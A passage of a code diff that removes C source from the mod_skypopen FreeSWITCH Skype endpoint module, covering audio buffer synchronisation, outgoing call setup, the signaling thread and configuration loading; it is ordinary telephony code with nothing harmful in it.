-                               switch_buffer_zero(tech_pvt->write_buffer);
-                               if (tech_pvt->timer_write.timer_interface && tech_pvt->timer_write.timer_interface->timer_next){
-                                       switch_core_timer_sync(&tech_pvt->timer_write);
-                               }
-                               switch_mutex_unlock(tech_pvt->mutex_audio_cli);
-                       }
-                       DEBUGA_SKYPE("Synching audio\n", SKYPOPEN_P_LOG);
-
-               }
-               break;
-       case SWITCH_MESSAGE_INDICATE_AUDIO_SYNC:
-
-               DEBUGA_SKYPE("%s CHANNEL got SWITCH_MESSAGE_INDICATE_AUDIO_SYNC\n", SKYPOPEN_P_LOG, switch_channel_get_name(channel));
-
-                       if(tech_pvt->read_buffer){
-                               switch_mutex_lock(tech_pvt->mutex_audio_srv);
-                               switch_buffer_zero(tech_pvt->read_buffer);
-                               if (tech_pvt->timer_read.timer_interface && tech_pvt->timer_read.timer_interface->timer_next){
-                                       switch_core_timer_sync(&tech_pvt->timer_read);
-                               }
-                               switch_mutex_unlock(tech_pvt->mutex_audio_srv);
-                       }
-
-                       if(tech_pvt->write_buffer){
-                               switch_mutex_lock(tech_pvt->mutex_audio_cli);
-                               switch_buffer_zero(tech_pvt->write_buffer);
-                               if (tech_pvt->timer_write.timer_interface && tech_pvt->timer_write.timer_interface->timer_next){
-                                       switch_core_timer_sync(&tech_pvt->timer_write);
-                               }
-                               switch_mutex_unlock(tech_pvt->mutex_audio_cli);
-                       }
-                       DEBUGA_SKYPE("Synching audio\n", SKYPOPEN_P_LOG);
-               break;
-       case SWITCH_MESSAGE_INDICATE_BRIDGE:
-               DEBUGA_SKYPE("%s CHANNEL got SWITCH_MESSAGE_INDICATE_BRIDGE\n", SKYPOPEN_P_LOG, switch_channel_get_name(channel));
-
-                       if(tech_pvt->read_buffer){
-                               switch_mutex_lock(tech_pvt->mutex_audio_srv);
-                               switch_buffer_zero(tech_pvt->read_buffer);
-                               if (tech_pvt->timer_read.timer_interface && tech_pvt->timer_read.timer_interface->timer_next){
-                                       switch_core_timer_sync(&tech_pvt->timer_read);
-                               }
-                               switch_mutex_unlock(tech_pvt->mutex_audio_srv);
-                       }
-
-                       if(tech_pvt->write_buffer){
-                               switch_mutex_lock(tech_pvt->mutex_audio_cli);
-                               switch_buffer_zero(tech_pvt->write_buffer);
-                               if (tech_pvt->timer_write.timer_interface && tech_pvt->timer_write.timer_interface->timer_next){
-                                       switch_core_timer_sync(&tech_pvt->timer_write);
-                               }
-                               switch_mutex_unlock(tech_pvt->mutex_audio_cli);
-                       }
-                       DEBUGA_SKYPE("Synching audio\n", SKYPOPEN_P_LOG);
-               break;
-
-       default:
-               {
-
-                       DEBUGA_SKYPE("MSG_ID=%d\n", SKYPOPEN_P_LOG, msg->message_id);
-               }
-               break;
-       }
-
-       return SWITCH_STATUS_SUCCESS;
-}
-
-static switch_status_t channel_receive_event(switch_core_session_t *session, switch_event_t *event)
-{
-       struct private_object *tech_pvt = switch_core_session_get_private(session);
-       char *body = switch_event_get_body(event);
-       switch_assert(tech_pvt != NULL);
-
-       if (!body) {
-               body = "";
-       }
-
-       WARNINGA("event: |||%s|||\n", SKYPOPEN_P_LOG, body);
-
-       return SWITCH_STATUS_SUCCESS;
-}
-
-switch_state_handler_table_t skypopen_state_handlers = {
-       /*.on_init */ channel_on_init,
-       /*.on_routing */ channel_on_routing,
-       /*.on_execute */ channel_on_execute,
-       /*.on_hangup */ channel_on_hangup,
-       /*.on_exchange_media */ channel_on_exchange_media,
-       /*.on_soft_execute */ channel_on_soft_execute,
-       /*.on_consume_media */ channel_on_consume_media,
-       /*.on_hibernate */ NULL,
-       /*.on_reset */ NULL,
-       /*.on_park */ NULL,
-       /*.on_reporting */ NULL,
-       /*.on_destroy */ channel_on_destroy
-};
-
-switch_io_routines_t skypopen_io_routines = {
-       /*.outgoing_channel */ channel_outgoing_channel,
-       /*.read_frame */ channel_read_frame,
-       /*.write_frame */ channel_write_frame,
-       /*.kill_channel */ channel_kill_channel,
-       /*.send_dtmf */ channel_send_dtmf,
-       /*.receive_message */ channel_receive_message,
-       /*.receive_event */ channel_receive_event
-};
-
-static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session,
-                                                                                                       switch_event_t *var_event,
-                                                                                                       switch_caller_profile_t *outbound_profile,
-                                                                                                       switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
-                                                                                                       switch_call_cause_t *cancel_cause)
-{
-       private_t *tech_pvt = NULL;
-       if ((*new_session = switch_core_session_request(skypopen_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
-               switch_channel_t *channel = NULL;
-               switch_caller_profile_t *caller_profile;
-               char *rdest;
-               int found = 0;
-               char interface_name[256];
-
-               DEBUGA_SKYPE("1 SESSION_REQUEST %s\n", SKYPOPEN_P_LOG, switch_core_session_get_uuid(*new_session));
-               switch_core_session_add_stream(*new_session, NULL);
-
-
-               if (!zstr(outbound_profile->destination_number)) {
-                       int i;
-                       char *slash;
-
-                       switch_copy_string(interface_name, outbound_profile->destination_number, 255);
-                       slash = strrchr(interface_name, '/');
-                       *slash = '\0';
-
-                       switch_mutex_lock(globals.mutex);
-                       if (strncmp("ANY", interface_name, strlen(interface_name)) == 0 || strncmp("RR", interface_name, strlen(interface_name)) == 0) {
-                               /* Find the first idle interface using Round Robin */
-                               DEBUGA_SKYPE("Finding one available skype interface RR\n", SKYPOPEN_P_LOG);
-                               tech_pvt = find_available_skypopen_interface_rr(NULL);
-                               if (tech_pvt)
-                                       found = 1;
-                       }
-
-                       for (i = 0; !found && i < SKYPOPEN_MAX_INTERFACES; i++) {
-                               /* we've been asked for a normal interface name, or we have not found idle interfaces to serve as the "ANY" interface */
-                               if (strlen(globals.SKYPOPEN_INTERFACES[i].name)
-                                       && (strncmp(globals.SKYPOPEN_INTERFACES[i].name, interface_name, strlen(interface_name)) == 0)) {
-                                       if (strlen(globals.SKYPOPEN_INTERFACES[i].session_uuid_str)) {
-                                               DEBUGA_SKYPE
-                                                       ("globals.SKYPOPEN_INTERFACES[%d].name=|||%s||| session_uuid_str=|||%s||| is BUSY\n",
-                                                        SKYPOPEN_P_LOG, i, globals.SKYPOPEN_INTERFACES[i].name, globals.SKYPOPEN_INTERFACES[i].session_uuid_str);
-                                               DEBUGA_SKYPE("1 SESSION_DESTROY %s\n", SKYPOPEN_P_LOG, switch_core_session_get_uuid(*new_session));
-                                               switch_core_session_destroy(new_session);
-                                               switch_mutex_unlock(globals.mutex);
-                                               return SWITCH_CAUSE_NORMAL_CIRCUIT_CONGESTION;
-                                       }
-
-                                       DEBUGA_SKYPE("globals.SKYPOPEN_INTERFACES[%d].name=|||%s|||?\n", SKYPOPEN_P_LOG, i, globals.SKYPOPEN_INTERFACES[i].name);
-                                       tech_pvt = &globals.SKYPOPEN_INTERFACES[i];
-                                       found = 1;
-                                       break;
-                               }
-
-                       }
-
-               } else {
-                       ERRORA("Doh! no destination number?\n", SKYPOPEN_P_LOG);
-                       switch_core_session_destroy(new_session);
-                       return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
-               }
-
-               if (!found) {
-                       DEBUGA_SKYPE("Doh! no available interface for |||%s|||?\n", SKYPOPEN_P_LOG, interface_name);
-                       DEBUGA_SKYPE("2 SESSION_DESTROY %s\n", SKYPOPEN_P_LOG, switch_core_session_get_uuid(*new_session));
-                       switch_core_session_destroy(new_session);
-                       switch_mutex_unlock(globals.mutex);
-                       return SWITCH_CAUSE_NORMAL_CIRCUIT_CONGESTION;
-               }
-
-               channel = switch_core_session_get_channel(*new_session);
-               if (!channel) {
-                       ERRORA("Doh! no channel?\n", SKYPOPEN_P_LOG);
-                       switch_core_session_destroy(new_session);
-                       switch_mutex_unlock(globals.mutex);
-                       return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
-               }
-               switch_channel_set_variable(channel, "waste", "false");
-               if (skypopen_tech_init(tech_pvt, *new_session) != SWITCH_STATUS_SUCCESS) {
-                       ERRORA("Doh! no tech_init?\n", SKYPOPEN_P_LOG);
-                       switch_core_session_destroy(new_session);
-                       switch_mutex_unlock(globals.mutex);
-                       return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
-               }
-
-
-               if (outbound_profile) {
-                       char name[128];
-
-                       if (strncmp("ANY", outbound_profile->destination_number, 3) == 0) {
-                               snprintf(name, sizeof(name), "skypopen/ANY/%s%s", tech_pvt->name, outbound_profile->destination_number + 3);
-                       } else if (strncmp("RR", outbound_profile->destination_number, 2) == 0) {
-                               snprintf(name, sizeof(name), "skypopen/RR/%s%s", tech_pvt->name, outbound_profile->destination_number + 2);
-                       } else {
-                               snprintf(name, sizeof(name), "skypopen/%s", outbound_profile->destination_number);
-                       }
-
-                       switch_channel_set_name(channel, name);
-                       caller_profile = switch_caller_profile_clone(*new_session, outbound_profile);
-                       switch_channel_set_caller_profile(channel, caller_profile);
-                       tech_pvt->caller_profile = caller_profile;
-               } else {
-                       ERRORA("Doh! no caller profile\n", SKYPOPEN_P_LOG);
-                       switch_core_session_destroy(new_session);
-                       switch_mutex_unlock(globals.mutex);
-                       return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
-               }
-
-               tech_pvt->ob_calls++;
-
-               rdest = strchr(caller_profile->destination_number, '/');
-               *rdest++ = '\0';
-
-               switch_copy_string(tech_pvt->session_uuid_str, switch_core_session_get_uuid(*new_session), sizeof(tech_pvt->session_uuid_str));
-               caller_profile = tech_pvt->caller_profile;
-               caller_profile->destination_number = rdest;
-
-               switch_channel_set_flag(channel, CF_OUTBOUND);
-               switch_set_flag(tech_pvt, TFLAG_OUTBOUND);
-               switch_channel_set_state(channel, CS_INIT);
-               skypopen_call(tech_pvt, rdest, 30);
-               switch_mutex_unlock(globals.mutex);
-               return SWITCH_CAUSE_SUCCESS;
-       }
-
-       ERRORA("Doh! no new_session\n", SKYPOPEN_P_LOG);
-       return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
-}
-
-/*!
- * \brief This thread runs during a call, and monitor the interface for signaling, like hangup, caller id, etc most of signaling is handled inside the skypopen_signaling_read function
- *
- */
-static void *SWITCH_THREAD_FUNC skypopen_signaling_thread_func(switch_thread_t * thread, void *obj)
-{
-       private_t *tech_pvt = obj;
-       int res;
-       int forever = 1;
-
-       if (!tech_pvt)
-               return NULL;
-
-       DEBUGA_SKYPE("In skypopen_signaling_thread_func: started, p=%p\n", SKYPOPEN_P_LOG, (void *) tech_pvt);
-
-       while (forever) {
-               if (!(running && tech_pvt->running))
-                       break;
-               res = skypopen_signaling_read(tech_pvt);
-               if (res == CALLFLOW_INCOMING_HANGUP || tech_pvt->skype_callflow == CALLFLOW_INCOMING_HANGUP) {
-                       switch_core_session_t *session = NULL;
-                       switch_channel_t *channel = NULL;
-
-                       DEBUGA_SKYPE("skype call ended\n", SKYPOPEN_P_LOG);
-
-                       if (tech_pvt) {
-                               session = switch_core_session_locate(tech_pvt->session_uuid_str);
-                               if (session) {
-                                       channel = switch_core_session_get_channel(session);
-                                       if (channel) {
-                                               switch_channel_state_t state = switch_channel_get_state(channel);
-                                               if (state < CS_EXECUTE) {
-                                                       switch_sleep(10000);    //10 msec, let the state evolve from CS_NEW
-                                               }
-                                               switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
-                                       } else {
-                                               ERRORA("no channel?\n", SKYPOPEN_P_LOG);
-                                       }
-                                       switch_core_session_rwunlock(session);
-                               } else {
-                                       DEBUGA_SKYPE("no session\n", SKYPOPEN_P_LOG);
-                               }
-                               switch_mutex_lock(globals.mutex);
-                               tech_pvt->interface_state = SKYPOPEN_STATE_DOWN;
-                               *tech_pvt->session_uuid_str = '\0';
-                               *tech_pvt->skype_call_id = '\0';
-                               *tech_pvt->initial_skype_user = '\0';
-                               switch_mutex_unlock(globals.mutex);
-
-                               switch_sleep(300000);   //0.3 sec
-                               switch_mutex_lock(globals.mutex);
-                               tech_pvt->skype_callflow = CALLFLOW_CALL_IDLE;
-                               tech_pvt->interface_state = SKYPOPEN_STATE_IDLE;
-                               switch_mutex_unlock(globals.mutex);
-                       } else {
-                               ERRORA("no tech_pvt?\n", SKYPOPEN_P_LOG);
-                       }
-               }
-       }
-       DEBUGA_SKYPE("EXITING\n", SKYPOPEN_P_LOG);
-       return NULL;
-}
-
-static switch_status_t load_config(int reload_type)
-{
-       char *cf = "skypopen.conf";
-       switch_xml_t cfg, xml, global_settings, param, interfaces, myinterface;
-       private_t *tech_pvt = NULL;
-
-       switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, skypopen_module_pool);
-       if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
-               ERRORA("open of %s failed\n", SKYPOPEN_P_LOG, cf);
-               running = 0;
-               switch_xml_free(xml);
-               return SWITCH_STATUS_TERM;
-       }
-
-       switch_mutex_lock(globals.mutex);
-       if ((global_settings = switch_xml_child(cfg, "global_settings"))) {
-               for (param = switch_xml_child(global_settings, "param"); param; param = param->next) {
-                       char *var = (char *) switch_xml_attr_soft(param, "name");
-                       char *val = (char *) switch_xml_attr_soft(param, "value");
-
-                       if (!strcasecmp(var, "debug")) {
-                               globals.debug = atoi(val);
-                               DEBUGA_SKYPE("globals.debug=%d\n", SKYPOPEN_P_LOG, globals.debug);
-
-                       } else if (!strcmp(var, "context")) {
-                               set_global_context(val);
-                               DEBUGA_SKYPE("globals.context=%s\n", SKYPOPEN_P_LOG, globals.context);
-                       } else if (!strcmp(var, "dialplan")) {
-                               set_global_dialplan(val);
-                               DEBUGA_SKYPE("globals.dialplan=%s\n", SKYPOPEN_P_LOG, globals.dialplan);
-                       } else if (!strcmp(var, "destination")) {
-                               set_global_destination(val);
-                               DEBUGA_SKYPE("globals.destination=%s\n", SKYPOPEN_P_LOG, globals.destination);
-                       } else if (!strcmp(var, "skype_user")) {
-                               set_global_skype_user(val);
-                               DEBUGA_SKYPE("globals.skype_user=%s\n", SKYPOPEN_P_LOG, globals.skype_user);
-                       } else if (!strcmp(var, "report_incoming_chatmessages")) {
-                               set_global_report_incoming_chatmessages(val);
-                               DEBUGA_SKYPE("globals.report_incoming_chatmessages=%s\n", SKYPOPEN_P_LOG, globals.report_incoming_chatmessages);
-                       } else if (!strcmp(var, "silent_mode")) {
-                               set_global_silent_mode(val);
-                               DEBUGA_SKYPE("globals.silent_mode=%s\n", SKYPOPEN_P_LOG, globals.silent_mode);
-                       } else if (!strcmp(var, "write_silence_when_idle")) {
-                               set_global_write_silence_when_idle(val);
-                               DEBUGA_SKYPE("globals.write_silence_when_idle=%s\n", SKYPOPEN_P_LOG, globals.write_silence_when_idle);
-                       }
-
-               }
-       }
-
-       globals.start_port = 32769;
-       if ((interfaces = switch_xml_child(cfg, "per_interface_settings"))) {
-               int i = 0;
-
-               for (myinterface = switch_xml_child(interfaces, "interface"); myinterface; myinterface = myinterface->next) {
-                       char *id = (char *) switch_xml_attr(myinterface, "id");
-                       char *name = (char *) switch_xml_attr(myinterface, "name");
-                       char *context = "default";
-                       char *dialplan = "XML";
-                       char *destination = "5000";
-                       char *X11_display = NULL;
-                       char *skype_user = NULL;
-                       char *report_incoming_chatmessages = "true";
-                       char *silent_mode = "false";
-                       char *write_silence_when_idle = "true";
-                       uint32_t interface_id = 0;
-
-                       if(globals.context)
-                               context=globals.context;
-                       if(globals.dialplan)
-                               dialplan=globals.dialplan;
-                       if(globals.destination)
-                               destination=globals.destination;
-                       if(globals.skype_user)
-                               skype_user=globals.skype_user;
-                       if(globals.report_incoming_chatmessages)
-                               report_incoming_chatmessages=globals.report_incoming_chatmessages;
-                       if(globals.silent_mode)
-                               silent_mode=globals.silent_mode;
-                       if(globals.write_silence_when_idle)
-                               write_silence_when_idle=globals.write_silence_when_idle;
-
-                       tech_pvt = NULL;
-
-                       for (param = switch_xml_child(myinterface, "param"); param; param = param->next) {
-                               char *var = (char *) switch_xml_attr_soft(param, "name");
-                               char *val = (char *) switch_xml_attr_soft(param, "value");
-
-                               if (!strcasecmp(var, "context")) {
-                                       context = val;
-                               } else if (!strcasecmp(var, "dialplan")) {
-                                       dialplan = val;
-                               } else if (!strcasecmp(var, "destination")) {
-                                       destination = val;
-                               } else if (!strcasecmp(var, "skype_user")) {
-                                       skype_user = val;
-                               } else if (!strcasecmp(var, "report_incoming_chatmessages")) {
-                                       report_incoming_chatmessages = val;
-                               } else if (!strcasecmp(var, "silent_mode")) {
-                                       silent_mode = val;
-                               } else if (!strcasecmp(var, "write_silence_when_idle")) {
-                                       write_silence_when_idle = val;
-                               } else if (!strcasecmp(var, "X11-display") || !strcasecmp(var, "X11_display")) {
-                                       X11_display = val;
-                               }
-
-                       }
-                       if (!skype_user) {
-                               ERRORA("interface missing REQUIRED param 'skype_user'\n", SKYPOPEN_P_LOG);
-                               continue;
-                       }
-
-                       if (reload_type == SOFT_RELOAD) {
-                               char the_interface[256];
-                               sprintf(the_interface, "#%s", name);
-
-                               if (interface_exists(the_interface) == SWITCH_STATUS_SUCCESS) {
-                                       continue;
-                               }
-                       }
-#ifndef WIN32
-                       if (!X11_display) {
-                               ERRORA("interface missing REQUIRED param 'X11_display'\n", SKYPOPEN_P_LOG);
-                               continue;
-                       }
-#endif
-                       if (!id) {
-                               ERRORA("interface missing REQUIRED param 'id'\n", SKYPOPEN_P_LOG);
-                               continue;
-                       }
-                       if (switch_is_number(id)) {
-                               interface_id = atoi(id);
-                               DEBUGA_SKYPE("interface_id=%d\n", SKYPOPEN_P_LOG, interface_id);
-                       } else {
-                               ERRORA("interface param 'id' MUST be a number, now id='%s'\n", SKYPOPEN_P_LOG, id);
-                               continue;
-                       }
-
-                       if (!name) {
-                               WARNINGA("interface missing param 'name', not nice, but works\n", SKYPOPEN_P_LOG);
-                       }
-
-                       if (name) {
-                               DEBUGA_SKYPE("name=%s\n", SKYPOPEN_P_LOG, name);
-                       }
-#ifndef WIN32
-                       if (!XInitThreads()) {
-                               ERRORA("Not initialized XInitThreads!\n", SKYPOPEN_P_LOG);
-                       } else {
-                               DEBUGA_SKYPE("Initialized XInitThreads!\n", SKYPOPEN_P_LOG);
-                       }
-                       switch_sleep(1000);
-#endif /* WIN32 */
-
-                       if (interface_id && interface_id < SKYPOPEN_MAX_INTERFACES) {
-                               private_t newconf;
-                               switch_threadattr_t *skypopen_api_thread_attr = NULL;
-                               switch_threadattr_t *skypopen_signaling_thread_attr = NULL;
-
-                               memset(&newconf, '\0', sizeof(newconf));
-                               globals.SKYPOPEN_INTERFACES[interface_id] = newconf;
-                               globals.SKYPOPEN_INTERFACES[interface_id].running = 1;
-
-
-                               tech_pvt = &globals.SKYPOPEN_INTERFACES[interface_id];
-
-                               switch_set_string(globals.SKYPOPEN_INTERFACES[interface_id].interface_id, id);
-                               if (name) {
-                                       switch_set_string(globals.SKYPOPEN_INTERFACES[interface_id].name, name);
-                               } else {
-                                       switch_set_string(globals.SKYPOPEN_INTERFACES[interface_id].name, "N/A");
-                               }
-                               DEBUGA_SKYPE("CONFIGURING interface_id=%d\n", SKYPOPEN_P_LOG, interface_id);
-
-                               switch_set_string(globals.SKYPOPEN_INTERFACES[interface_id].context, context);
-                               switch_set_string(globals.SKYPOPEN_INTERFACES[interface_id].dialplan, dialplan);
-                               switch_set_string(globals.SKYPOPEN_INTERFACES[interface_id].destination, destination);
-                               switch_set_string(globals.SKYPOPEN_INTERFACES[interface_id].X11_display, X11_display);
-                               switch_set_string(globals.SKYPOPEN_INTERFACES[interface_id].skype_user, skype_user);
-
-                               if (!strcmp(report_incoming_chatmessages, "true") || !strcmp(report_incoming_chatmessages, "1")) {
-                                       globals.SKYPOPEN_INTERFACES[interface_id].report_incoming_chatmessages = 1;
-                               } else {
-                                       globals.SKYPOPEN_INTERFACES[interface_id].report_incoming_chatmessages = 0;     //redundant, just in case
-
-                               }
-
-                               if (!strcmp(silent_mode, "true") || !strcmp(silent_mode, "1")) {
-                                       globals.SKYPOPEN_INTERFACES[interface_id].silent_mode = 1;
-                               } else {
-                                       globals.SKYPOPEN_INTERFACES[interface_id].silent_mode = 0;      //redundant, just in case
-
-                               }
-
-                               if (!strcmp(write_silence_when_idle, "true") || !strcmp(write_silence_when_idle, "1")) {
-                                       globals.SKYPOPEN_INTERFACES[interface_id].write_silence_when_idle = 1;
-                               } else {
-                                       globals.SKYPOPEN_INTERFACES[interface_id].write_silence_when_idle = 0;  //redundant, just in case
-
-                               }
-
-                               DEBUGA_SKYPE("interface_id=%d globals.SKYPOPEN_INTERFACES[interface_id].name=%s\n",
-                                                        SKYPOPEN_P_LOG, interface_id, globals.SKYPOPEN_INTERFACES[interface_id].name);
-                               DEBUGA_SKYPE
-                                       ("interface_id=%d globals.SKYPOPEN_INTERFACES[interface_id].context=%s\n",
-                                        SKYPOPEN_P_LOG, interface_id, globals.SKYPOPEN_INTERFACES[interface_id].context);
-                               DEBUGA_SKYPE
-                                       ("interface_id=%d globals.SKYPOPEN_INTERFACES[interface_id].dialplan=%s\n",
-                                        SKYPOPEN_P_LOG, interface_id, globals.SKYPOPEN_INTERFACES[interface_id].dialplan);
-                               DEBUGA_SKYPE
-                                       ("interface_id=%d globals.SKYPOPEN_INTERFACES[interface_id].destination=%s\n",
-                                        SKYPOPEN_P_LOG, interface_id, globals.SKYPOPEN_INTERFACES[interface_id].destination);
-                               DEBUGA_SKYPE
-                                       ("interface_id=%d globals.SKYPOPEN_INTERFACES[interface_id].X11_display=%s\n",
-                                        SKYPOPEN_P_LOG, interface_id, globals.SKYPOPEN_INTERFACES[interface_id].X11_display);
-                               DEBUGA_SKYPE
-                                       ("interface_id=%d globals.SKYPOPEN_INTERFACES[interface_id].skype_user=%s\n",
-                                        SKYPOPEN_P_LOG, interface_id, globals.SKYPOPEN_INTERFACES[interface_id].skype_user);
-                               DEBUGA_SKYPE
-                                       ("interface_id=%d globals.SKYPOPEN_INTERFACES[interface_id].report_incoming_chatmessages=%d\n",
-                                        SKYPOPEN_P_LOG, interface_id, globals.SKYPOPEN_INTERFACES[interface_id].report_incoming_chatmessages);
-                               DEBUGA_SKYPE
-                                       ("interface_id=%d globals.SKYPOPEN_INTERFACES[interface_id].silent_mode=%d\n",
-                                        SKYPOPEN_P_LOG, interface_id, globals.SKYPOPEN_INTERFACES[interface_id].silent_mode);
-                               DEBUGA_SKYPE
-                                       ("interface_id=%d globals.SKYPOPEN_INTERFACES[interface_id].write_silence_when_idle=%d\n",
-                                        SKYPOPEN_P_LOG, interface_id, globals.SKYPOPEN_INTERFACES[interface_id].write_silence_when_idle);
-
-                               WARNINGA("STARTING interface_id=%d\n", SKYPOPEN_P_LOG, interface_id);
-
-                               switch_threadattr_create(&skypopen_api_thread_attr, skypopen_module_pool);
-                               switch_threadattr_detach_set(skypopen_api_thread_attr, 0);
-                               switch_threadattr_stacksize_set(skypopen_api_thread_attr, SWITCH_THREAD_STACKSIZE);
-                               switch_thread_create(&globals.SKYPOPEN_INTERFACES[interface_id].skypopen_api_thread,
-                                                                        skypopen_api_thread_attr, skypopen_do_skypeapi_thread, &globals.SKYPOPEN_INTERFACES[interface_id], skypopen_module_pool);
-
-                               switch_sleep(100000);
-
-                               switch_threadattr_create(&skypopen_signaling_thread_attr, skypopen_module_pool);
-                               switch_threadattr_detach_set(skypopen_signaling_thread_attr, 0);
-                               switch_threadattr_stacksize_set(skypopen_signaling_thread_attr, SWITCH_THREAD_STACKSIZE);
-                               switch_thread_create(&globals.SKYPOPEN_INTERFACES[interface_id].
-                                                                        skypopen_signaling_thread, skypopen_signaling_thread_attr,
-                                                                        skypopen_signaling_thread_func, &globals.SKYPOPEN_INTERFACES[interface_id], skypopen_module_pool);
-
-                               switch_sleep(100000);
-
-                               skypopen_audio_init(&globals.SKYPOPEN_INTERFACES[interface_id]);
-                               switch_mutex_init(&globals.SKYPOPEN_INTERFACES[interface_id].mutex_audio_srv, SWITCH_MUTEX_NESTED, skypopen_module_pool);
-                               switch_mutex_init(&globals.SKYPOPEN_INTERFACES[interface_id].mutex_audio_cli, SWITCH_MUTEX_NESTED, skypopen_module_pool);
-
-                               NOTICA
-                                       ("WAITING roughly 10 seconds to find a running Skype client and connect to its SKYPE API for interface_id=%d\n",
-                                        SKYPOPEN_P_LOG, interface_id);
-                               i = 0;
-                               while (globals.SKYPOPEN_INTERFACES[interface_id].SkypopenHandles.api_connected == 0 && running && i < 200) {    // 10 seconds! thanks Jeff Lenk
-                                       switch_sleep(50000);
-                                       i++;
-                               }
-                               if (globals.SKYPOPEN_INTERFACES[interface_id].SkypopenHandles.api_connected) {
-                                       NOTICA
-                                               ("Found a running Skype client, connected to its SKYPE API for interface_id=%d, waiting 60 seconds for CURRENTUSERHANDLE==%s\n",
-                                                SKYPOPEN_P_LOG, interface_id, globals.SKYPOPEN_INTERFACES[interface_id].skype_user);
-                               } else {
-                                       ERRORA
-                                               ("Failed to connect to a SKYPE API for interface_id=%d, no SKYPE client running, please (re)start Skype client. Skypopen exiting\n",
-                                                SKYPOPEN_P_LOG, interface_id);
-                                       running = 0;
-                                       switch_mutex_unlock(globals.mutex);
-                                       switch_xml_free(xml);
-                                       return SWITCH_STATUS_FALSE;
-                               }
-
-                               i = 0;
-                               while (globals.SKYPOPEN_INTERFACES[interface_id].SkypopenHandles.currentuserhandle == 0 && running && i < 1200) {       // 60 seconds! thanks Jeff Lenk
-                                       switch_sleep(50000);
-                                       i++;
-                               }
-                               if (globals.SKYPOPEN_INTERFACES[interface_id].SkypopenHandles.currentuserhandle) {
-                                       WARNINGA
-                                               ("Interface_id=%d is now STARTED, the Skype client to which we are connected gave us the correct CURRENTUSERHANDLE (%s)\n",
-                                                SKYPOPEN_P_LOG, interface_id, globals.SKYPOPEN_INTERFACES[interface_id].skype_user);
-
-
-                                       skypopen_signaling_write(&globals.SKYPOPEN_INTERFACES[interface_id], "PROTOCOL 7");
-                                       switch_sleep(10000);
-                                       skypopen_signaling_write(&globals.SKYPOPEN_INTERFACES[interface_id], "SET AUTOAWAY OFF");
-                                       switch_sleep(10000);
-                                       skypopen_signaling_write(&globals.SKYPOPEN_INTERFACES[interface_id], "SET WINDOWSTATE HIDDEN");
-                                       switch_sleep(10000);
-                                       skypopen_signaling_write(&globals.SKYPOPEN_INTERFACES[interface_id], "SET USERSTATUS ONLINE");
-                                       switch_sleep(10000);
-                                       if (globals.SKYPOPEN_INTERFACES[interface_id].silent_mode) {
-                                               skypopen_signaling_write(&globals.SKYPOPEN_INTERFACES[interface_id], "SET SILENT_MODE ON");
-                                               switch_sleep(10000);
-                                               skypopen_signaling_write(&globals.SKYPOPEN_INTERFACES[interface_id], "SET SILENT_MODE OFF");
-                                               switch_sleep(10000);
-                                               skypopen_signaling_write(&globals.SKYPOPEN_INTERFACES[interface_id], "SET SILENT_MODE ON");
-                                               switch_sleep(10000);
-                                       }
-                               } else {
-                                       ERRORA
-                                               ("The Skype client to which we are connected FAILED to gave us CURRENTUSERHANDLE=%s, interface_id=%d FAILED to start. No Skype client logged in as '%s' has been found. Please (re)launch a Skype client logged in as '%s'. Skypopen exiting now\n",
-                                                SKYPOPEN_P_LOG, globals.SKYPOPEN_INTERFACES[interface_id].skype_user,
-                                                interface_id, globals.SKYPOPEN_INTERFACES[interface_id].skype_user, globals.SKYPOPEN_INTERFACES[interface_id].skype_user);
-                                       running = 0;
-                                       switch_mutex_unlock(globals.mutex);
-                                       switch_xml_free(xml);
-                                       return SWITCH_STATUS_FALSE;
-                               }
-
-                       } else {
-                               ERRORA("interface id %d is higher than SKYPOPEN_MAX_INTERFACES (%d)\n", SKYPOPEN_P_LOG, interface_id, SKYPOPEN_MAX_INTERFACES);
-                               continue;
-                       }
-
-               }
-
-               for (i = 0; i < SKYPOPEN_MAX_INTERFACES; i++) {
-                       if (strlen(globals.SKYPOPEN_INTERFACES[i].name)) {
-                               /* How many real intterfaces */
-                               globals.real_interfaces = i + 1;
-
-                               tech_pvt = &globals.SKYPOPEN_INTERFACES[i];
-
-                               DEBUGA_SKYPE("i=%d globals.SKYPOPEN_INTERFACES[%d].interface_id=%s\n", SKYPOPEN_P_LOG, i, i, globals.SKYPOPEN_INTERFACES[i].interface_id);
-                               DEBUGA_SKYPE("i=%d globals.SKYPOPEN_INTERFACES[%d].name=%s\n", SKYPOPEN_P_LOG, i, i, globals.SKYPOPEN_INTERFACES[i].name);
-                               DEBUGA_SKYPE("i=%d globals.SKYPOPEN_INTERFACES[%d].context=%s\n", SKYPOPEN_P_LOG, i, i, globals.SKYPOPEN_INTERFACES[i].context);
-                               DEBUGA_SKYPE("i=%d globals.SKYPOPEN_INTERFACES[%d].dialplan=%s\n", SKYPOPEN_P_LOG, i, i, globals.SKYPOPEN_INTERFACES[i].dialplan);
-                               DEBUGA_SKYPE("i=%d globals.SKYPOPEN_INTERFACES[%d].destination=%s\n", SKYPOPEN_P_LOG, i, i, globals.SKYPOPEN_INTERFACES[i].destination);
-                               DEBUGA_SKYPE("i=%d globals.SKYPOPEN_INTERFACES[%d].X11_display=%s\n", SKYPOPEN_P_LOG, i, i, globals.SKYPOPEN_INTERFACES[i].X11_display);
-                               DEBUGA_SKYPE("i=%d globals.SKYPOPEN_INTERFACES[%d].skype_user=%s\n", SKYPOPEN_P_LOG, i, i, globals.SKYPOPEN_INTERFACES[i].skype_user);
-                               DEBUGA_SKYPE("i=%d globals.SKYPOPEN_INTERFACES[%d].report_incoming_chatmessages=%d\n", SKYPOPEN_P_LOG, i, i,
-                                                        globals.SKYPOPEN_INTERFACES[i].report_incoming_chatmessages);
-                               DEBUGA_SKYPE("i=%d globals.SKYPOPEN_INTERFACES[%d].silent_mode=%d\n", SKYPOPEN_P_LOG, i, i, globals.SKYPOPEN_INTERFACES[i].silent_mode);
